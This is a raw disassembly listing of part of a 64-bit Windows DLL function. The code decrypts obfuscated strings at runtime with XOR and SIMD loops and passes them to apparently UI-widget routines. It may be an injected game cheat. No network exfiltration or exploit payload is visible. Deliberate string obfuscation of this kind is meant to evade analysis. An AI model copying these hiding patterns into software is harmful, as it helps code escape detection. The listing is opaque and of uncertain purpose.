paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str._RZQYZ]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1a00], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a04]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a04], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a00]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1800833e0
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x1a00]
call fcn.180002b60
test al, al
je 0x180083498
mov rax, qword [0x18023ff58]
mov rcx, qword [rax]
mov rbx, qword [rcx + 8]
test rbx, rbx
je 0x180083498
mov rdx, qword [0x18023ff18]
mov dword [rbp + 0x2d98], esi
cmp byte [rdx], 0x40
jne 0x180083498
mov rax, qword [0x18023ff28]
cmp byte [rax], 0x48
jne 0x180083498
lea rcx, [rbp + 0x2d98]
call rdx
mov eax, dword [rbp + 0x2d98]
xor r9d, r9d
mov dword [rsp + 0x38], eax
xor r8d, r8d
mov dword [rsp + 0x30], esi
xor edx, edx
mov qword [rsp + 0x28], rsi
mov rcx, rbx
mov qword [rsp + 0x20], rsi
call qword [0x18023ff28]
mov rax, qword [0x1802400b8]
or dword [rbx + rax], 0x1000000
call fcn.180016870
addss xmm0, xmm6
call fcn.180025690
lea rcx, [rbp + 0x3f8]
call fcn.180016730
mov r8d, esi
movss xmm0, dword [rax]
mov eax, dword [0x1801b6e08]
movss dword [rbp + 0x400], xmm0
movsd xmm0, qword [str.aGUSP]
mov dword [rbp + 0x17b8], eax
movzx eax, byte [0x1801b6e0c]
movsd qword [rbp + 0x17b0], xmm0
mov byte [rbp + 0x17bc], al
mov dword [rbp + 0x404], 0x41f00000
cmp r12d, 2
jl 0x1800835dc
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.aGUSP]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x17b0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x17b4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x17b4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x17b0]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800835f0
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x17b0]
call fcn.180002b60
test al, al
je 0x1800836eb
mov rax, qword [0x18023ff58]
mov rcx, qword [rax]
cmp qword [rcx + 8], rsi
je 0x1800836eb
mov rdx, qword [0x18023d4d0]
mov r9d, reloc.WS2_32.dll_ntohs
mov dword [rsp + 0x28], esi
mov r8d, 8
mov rcx, r14
mov dword [rsp + 0x20], 2
call fcn.1800dbed0
mov rdx, qword [0x18023d4d0]
mov r9d, gethostname
mov r8d, 6
mov dword [rsp + 0x28], esi
mov rcx, r14
mov dword [rsp + 0x20], 2
call fcn.1800dbed0
mov rdx, qword [0x18023d4d0]
mov r9d, Ordinal_79
mov r8d, 4
mov dword [rsp + 0x28], esi
mov rcx, r14
mov dword [rsp + 0x20], 2
call fcn.1800dbed0
mov rdx, qword [0x18023d4d0]
mov r9d, 0xb2
mov r8d, ntohs
mov dword [rsp + 0x28], esi
mov rcx, r14
mov dword [rsp + 0x20], 2
call fcn.1800dbed0
call fcn.180016870
addss xmm0, xmm6
call fcn.180025690
lea rcx, [rbp + 0x408]
call fcn.180016730
cmp byte [reloc.WS2_32.dll_gethostname], sil
movss xmm0, dword [rax]
mov rax, qword [str.aF_V_S_9q_QTD]
mov qword [rbp + 0x418], rax
movss dword [rbp + 0x410], xmm0
mov dword [rbp + 0x414], 0x41f00000
je 0x180083860
cmp r12d, 2
jl 0x18008381a
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm7
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x418]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x418], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x41c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x41c], xmm2
jmp 0x180083860
lea r9, [rbp + 0x418]
mov r8d, esi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180083830
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x418]
call fcn.180002b60
test al, al
je 0x180083890
mov rax, qword [0x18023ff58]
mov rcx, qword [rax]
mov rax, qword [rcx + 8]
test rax, rax
je 0x180083890
mov dword [rax + 0x280], esi
call fcn.180016870
addss xmm0, xmm6
call fcn.180025690
lea rcx, [rbp + 0x420]
call fcn.180016730
movzx ecx, word [0x1801b6e20]
lea rdx, [rbp + 0x428]
movss xmm0, dword [rax]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov word [rbp + 0x12a8], cx
xor al, 0x3c
xor byte [rbp + 0x12a9], 0x3b
xor cl, 0x3a
movss dword [rbp + 0x428], xmm0
movsd xmm0, qword [0x1801b6e18]
movsd qword [rbp + 0x12a0], xmm0
xor byte [rbp + 0x12a1], 0x33
xor byte [rbp + 0x12a2], 0x34
xor byte [rbp + 0x12a3], 0x35
xor byte [rbp + 0x12a4], 0x36
xor byte [rbp + 0x12a5], 0x37
xor byte [rbp + 0x12a6], 0x38
xor byte [rbp + 0x12a7], 0x39
mov byte [rbp + 0x12a8], cl
lea rcx, [rbp + 0x12a0]
mov byte [rbp + 0x12a0], 0x43
mov dword [rbp + 0x42c], 0x41f00000
mov byte [rbp + 0x12aa], al
call fcn.180002b60
test al, al
je 0x180083991
mov rax, qword [0x18023ff58]
mov rcx, qword [rax]
mov rcx, qword [rcx + 8]
test rcx, rcx
je 0x180083991
movsd xmm0, qword [rcx + 0x90]
movss xmm3, dword [rcx + 0x98]
movaps xmm2, xmm0
mov dword [rsp + 0x30], esi
movaps xmm1, xmm0
shufps xmm2, xmm2, 0x55
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
movsd qword [rsp + 0x48], xmm0
call qword [0x1802400e0]
call fcn.180016870
addss xmm0, xmm6
call fcn.180025690
lea rcx, [rbp + 0x430]
call fcn.180016730
cmp byte [reloc.WS2_32.dll_gethostname], sil
movss xmm0, dword [rax]
mov rax, qword [0x1801b6e28]
mov qword [rbp + 0x440], rax
movss dword [rbp + 0x438], xmm0
mov dword [rbp + 0x43c], 0x41f00000
je 0x180083b00
cmp r12d, 2
jl 0x180083ac0
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm7
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x440]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x440], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x444]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x444], xmm2
jmp 0x180083b00
lea r9, [rbp + 0x440]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180083ad0
lea rdx, [rbp + 0x438]
lea rcx, [rbp + 0x440]
call fcn.180002b60
test al, al
je 0x180083b3f
mov rax, qword [0x18023ff58]
mov rcx, qword [rax]
mov rcx, qword [rcx + 8]
test rcx, rcx
je 0x180083b3f
mov rax, qword [0x18023fee8]
mov rbx, qword [0x1802400f8]
call rax
mov rcx, rax
call rbx
call fcn.180016870
addss xmm0, xmm6
call fcn.180025690
lea rcx, [rbp + 0x448]
call fcn.180016730
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0xd70]
movss xmm0, dword [rax]
movzx eax, byte [0x1801b6e38]
movss dword [rbp + 0x450], xmm0
xor al, 0x3a
movsd xmm0, qword [0x1801b6e30]
movsd qword [rbp + 0xd70], xmm0
xor byte [rbp + 0xd71], 0x33
xor byte [rbp + 0xd72], 0x34
xor byte [rbp + 0xd73], 0x35
xor byte [rbp + 0xd74], 0x36
xor byte [rbp + 0xd75], 0x37
xor byte [rbp + 0xd76], 0x38
xor byte [rbp + 0xd77], 0x39
mov byte [rbp + 0xd70], 0x53
mov dword [rbp + 0x454], 0x41f00000
mov byte [rbp + 0xd78], al
call fcn.180002b60
test al, al
je 0x180083bf7
cmp qword [0x18023d4d0], rsi
je 0x180083bf7
mov ecx, dword [0x18024029c]
xor r8d, r8d
xor edx, edx
call qword [0x180240100]
call fcn.180006b10
cmp byte [0x1801b6e4b], sil
movsd xmm0, qword [0x1801b6e40]
mov eax, dword [0x1801b6e48]
movsd qword [rbp + 0x1508], xmm0
mov dword [rbp + 0x458], 0x43a00000
mov dword [rbp + 0x45c], 0x436b4405
mov dword [rbp + 0x1510], eax
je 0x180083d70
mov r8d, esi
cmp r12d, 2
jl 0x180083d24
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b6e40]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1508], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x150c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x150c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1508]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180083d40
xor r9d, r9d
lea rdx, [rbp + 0x458]
mov r8b, 1
lea rcx, [rbp + 0x1508]
call fcn.180003bf0
mov eax, dword [0x1801b6e58]
mov r8d, esi
movsd xmm0, qword [0x1801b6e50]
mov dword [rbp + 0x17c8], eax
movzx eax, byte [0x1801b6e5c]
mov byte [rbp + 0x17cc], al
movsd qword [rbp + 0x17c0], xmm0
cmp r12d, 2
jl 0x180083e9d
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b6e50]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x17c0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x17c4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x17c4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x17c0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180083eb0
lea rbx, [0x1801a7b4c]
mov dword [rsp + 0x28], esi
mov r9d, reloc.WLDAP32.dll_Ordinal_30
mov qword [rsp + 0x20], rbx
mov r8d, 1
lea rdx, reloc.WS2_32.dll_accept
lea rcx, [rbp + 0x17c0]
call fcn.180008db0
movzx ecx, word [0x1801b6e64]
lea rdx, [0x18023bf8c]
mov eax, dword [0x1801b6e60]
movaps xmm2, xmm10
movss xmm6, dword [0x1801a7f38]
mov dword [rbp + 0x198], eax
movaps xmm3, xmm6
movzx eax, byte [0x1801b6e66]
xor byte [rbp + 0x199], 0x33
xor al, 0x38
xor byte [rbp + 0x19a], 0x34
xor byte [rbp + 0x19b], 0x35
mov word [rbp + 0x19c], cx
xor cl, 0x36
xor byte [rbp + 0x19d], 0x37
mov byte [rbp + 0x19c], cl
lea rcx, [rbp + 0x198]
mov dword [rsp + 0x28], esi
mov byte [rbp + 0x198], 0x48
mov byte [rbp + 0x19e], al
mov qword [rsp + 0x20], rdi
call fcn.180008d40
mov eax, dword [0x1801b6e68]
lea rdx, [0x18023bf90]
mov dword [rbp + 0xd0], eax
lea rcx, [rbp + 0xd0]
movzx eax, word [0x1801b6e6c]
movaps xmm3, xmm6
xor byte [rbp + 0xd1], 0x33
movaps xmm2, xmm10
xor byte [rbp + 0xd2], 0x34
xor byte [rbp + 0xd3], 0x35
mov word [rbp + 0xd4], ax
xor al, 0x36
xor byte [rbp + 0xd5], 0x37
mov dword [rsp + 0x28], esi
mov byte [rbp + 0xd4], al
mov byte [rbp + 0xd0], 0x41
mov qword [rsp + 0x20], rdi
call fcn.180008d40
cmp byte [0x1801b6e7b], sil
movsd xmm0, qword [0x1801b6e70]
mov eax, dword [0x1801b6e78]
movsd qword [rbp + 0x1518], xmm0
mov dword [rbp + 0x1520], eax
je 0x180084150
mov r8d, esi
cmp r12d, 2
jl 0x18008410b
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b6e70]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1518], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x151c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x151c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1518]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180084120
mov dword [rsp + 0x28], esi
lea rdx, [0x18023bf88]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rdi
movaps xmm2, xmm10
lea rcx, [rbp + 0x1518]
call fcn.180008d40
movzx eax, word [0x1801b6e88]
lea rdx, [0x18023bfa8]
movsd xmm0, qword [0x1801b6e80]
lea rcx, [rbp + 0x12b0]
movsd qword [rbp + 0x12b0], xmm0
movaps xmm3, xmm6
xor byte [rbp + 0x12b1], 0x33
movaps xmm2, xmm10
xor byte [rbp + 0x12b2], 0x34
xor byte [rbp + 0x12b3], 0x35
xor byte [rbp + 0x12b4], 0x36
xor byte [rbp + 0x12b5], 0x37
xor byte [rbp + 0x12b6], 0x38
xor byte [rbp + 0x12b7], 0x39
mov word [rbp + 0x12b8], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x12b8], 0x3a
xor al, 0x3c
xor byte [rbp + 0x12b9], 0x3b
mov dword [rsp + 0x28], esi
mov byte [rbp + 0x12ba], al
mov byte [rbp + 0x12b0], 0x41
mov qword [rsp + 0x20], rdi
call fcn.180008d40
mov eax, dword [str.fZYP6]
lea rdx, [0x18024029c]
mov dword [rbp - 0x10], eax
lea rcx, [rbp - 0x10]
movzx eax, byte [0x1801b6e90]
mov r9d, reloc.WS2_32.dll_socket
xor byte [rbp - 0xf], 0x33
xor al, 0x36
xor byte [rbp - 0xe], 0x34
xor r8d, r8d
xor byte [rbp - 0xd], 0x35
mov dword [rsp + 0x28], esi
mov byte [rbp - 0xc], al
mov byte [rbp - 0x10], 0x54
mov qword [rsp + 0x20], rbx
call fcn.180008db0
movzx eax, byte [0x1801b6ea0]
lea rdx, [0x18023c170]
movsd xmm0, qword [str.s__BB:]
lea rcx, [rbp + 0xe00]
movss xmm7, dword [0x1801a17bc]
xor al, 0x3a
movss xmm3, dword [0x1801bab10]
movaps xmm2, xmm7
movsd qword [rbp + 0xe00], xmm0
xor byte [rbp + 0xe01], 0x33
xor byte [rbp + 0xe02], 0x34
xor byte [rbp + 0xe03], 0x35
xor byte [rbp + 0xe04], 0x36
xor byte [rbp + 0xe05], 0x37
xor byte [rbp + 0xe06], 0x38
xor byte [rbp + 0xe07], 0x39
mov dword [rsp + 0x28], esi
mov byte [rbp + 0xe08], al
mov byte [rbp + 0xe00], 0x41
mov qword [rsp + 0x20], rdi
call fcn.180008d40
call fcn.180006b10
call fcn.180013c40
movdqa xmm8, xmmword [0x1801bab60]
jmp 0x1800842f3
movss xmm7, dword [0x1801a17bc]
cmp dword [0x1802402a4], 1
lea rdi, [0x180000000]
jne 0x18008ce71
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x460]
addss xmm0, dword [0x1801baad8]
mov dword [rbp + 0x460], 0x43520000
movss dword [rbp + 0x464], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b6ea4]
lea rdx, [rbp + 0x468]
mov dword [rbp - 8], eax
lea rcx, [rbp - 8]
movzx eax, byte [0x1801b6ea8]
mov r9d, 8
xor byte [rbp - 7], 0x33
xor al, 0x36
xor byte [rbp - 6], 0x34
xor r8d, r8d
xor byte [rbp - 5], 0x35
mov byte [rbp - 4], al
mov dword [rbp + 0x468], 0x43a50000
mov dword [rbp + 0x46c], 0x4405c000
mov byte [rbp - 8], Ordinal_79
call fcn.18000fbb0
mov eax, dword [str.aVXS6]
lea rdx, [rbp + 0x470]
mov dword [rbp], eax
lea rcx, [rbp]
movzx eax, byte [0x1801b6eb0]
xor r9d, r9d
xor byte [rbp + 1], 0x33
xor al, 0x36
xor byte [rbp + 2], 0x34
mov r8b, 1
xor byte [rbp + 3], 0x35
mov byte [rbp + 4], al
mov dword [rbp + 0x470], 0x43a00000
mov dword [rbp + 0x474], 0x433e0000
mov byte [rbp], 0x53
call fcn.180003bf0
movzx ecx, word [0x1801b6eb8]
lea rdx, [0x18023bfac]
mov eax, dword [str.w_UWZR8]
mov dword [rbp + 0x1a0], eax
movzx eax, byte [0x1801b6eba]
xor byte [rbp + 0x1a1], 0x33
xor al, 0x38
xor byte [rbp + 0x1a2], 0x34
xor byte [rbp + 0x1a3], 0x35
mov word [rbp + 0x1a4], cx
xor cl, 0x36
xor byte [rbp + 0x1a5], 0x37
mov byte [rbp + 0x1a4], cl
lea rcx, [rbp + 0x1a0]
mov byte [rbp + 0x1a0], 0x45
mov byte [rbp + 0x1a6], al
call fcn.1800031c0
cmp byte [0x1801b6ec9], sil
movsd xmm0, qword [0x1801b6ec0]
movzx eax, word [0x1801b6ec8]
movsd qword [rbp + 0x1090], xmm0
mov word [rbp + 0x1098], ax
je 0x1800844ab
xor byte [rbp + 0x1091], 0x33
xor byte [rbp + 0x1092], 0x34
xor byte [rbp + 0x1093], 0x35
xor byte [rbp + 0x1094], 0x36
xor byte [rbp + 0x1095], 0x37
xor byte [rbp + 0x1096], 0x38
xor byte [rbp + 0x1097], 0x39
xor byte [rbp + 0x1098], 0x3a
xor byte [rbp + 0x1099], 0x3b
mov byte [rbp + 0x1090], Ordinal_79
lea rdx, [0x18023bfae]
lea rcx, [rbp + 0x1090]
call fcn.1800031c0
cmp byte [0x1801b6ed9], sil
movsd xmm0, qword [0x1801b6ed0]
movzx eax, word [0x1801b6ed8]
movsd qword [rbp + 0x10a0], xmm0
mov word [rbp + 0x10a8], ax
je 0x18008452b
xor byte [rbp + 0x10a1], 0x33
xor byte [rbp + 0x10a2], 0x34
xor byte [rbp + 0x10a3], 0x35
xor byte [rbp + 0x10a4], 0x36
xor byte [rbp + 0x10a5], 0x37
xor byte [rbp + 0x10a6], 0x38
xor byte [rbp + 0x10a7], 0x39
xor byte [rbp + 0x10a8], 0x3a
xor byte [rbp + 0x10a9], 0x3b
mov byte [rbp + 0x10a0], Ordinal_79
lea rdx, [0x18023bfaf]
lea rcx, [rbp + 0x10a0]
call fcn.1800031c0
cmp byte [0x1801b6eeb], sil
movsd xmm0, qword [str.tRGA]
mov eax, dword [0x1801b6ee8]
movsd qword [rbp + 0x1528], xmm0
mov dword [rbp + 0x1530], eax
je 0x1800846a0
mov r8d, esi
cmp r12d, 2
jl 0x180084657
movd eax, xmm9
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm8
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.tRGA]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1528], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x152c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x152c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1528]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180084670
lea rdx, [0x18023bfc0]
lea rcx, [rbp + 0x1528]
call fcn.1800031c0
mov eax, dword [0x1801b6ef8]
mov r8d, esi
movsd xmm0, qword [str.wKDYYDQO_ePSP_]
movdqa xmm6, xmmword [0x1801bab60]
mov dword [rbp + 0x1c28], eax
movzx eax, word [0x1801b6efc]
mov word [rbp + 0x1c2c], ax
movzx eax, byte [0x1801b6efe]
mov byte [rbp + 0x1c2e], al
movsd qword [rbp + 0x1c20], xmm0
cmp r12d, 2
jl 0x1800847dd
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.wKDYYDQO_ePSP_]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1c20], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
